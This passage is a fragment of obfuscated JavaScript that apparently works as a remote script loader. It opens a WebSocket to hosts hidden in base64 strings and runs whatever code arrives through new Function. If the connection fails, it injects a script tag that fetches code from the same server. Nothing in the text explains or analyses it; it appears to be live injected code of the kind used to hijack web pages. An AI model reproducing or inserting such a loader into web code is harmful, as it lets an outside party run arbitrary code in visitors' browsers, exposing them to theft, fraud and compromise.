WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};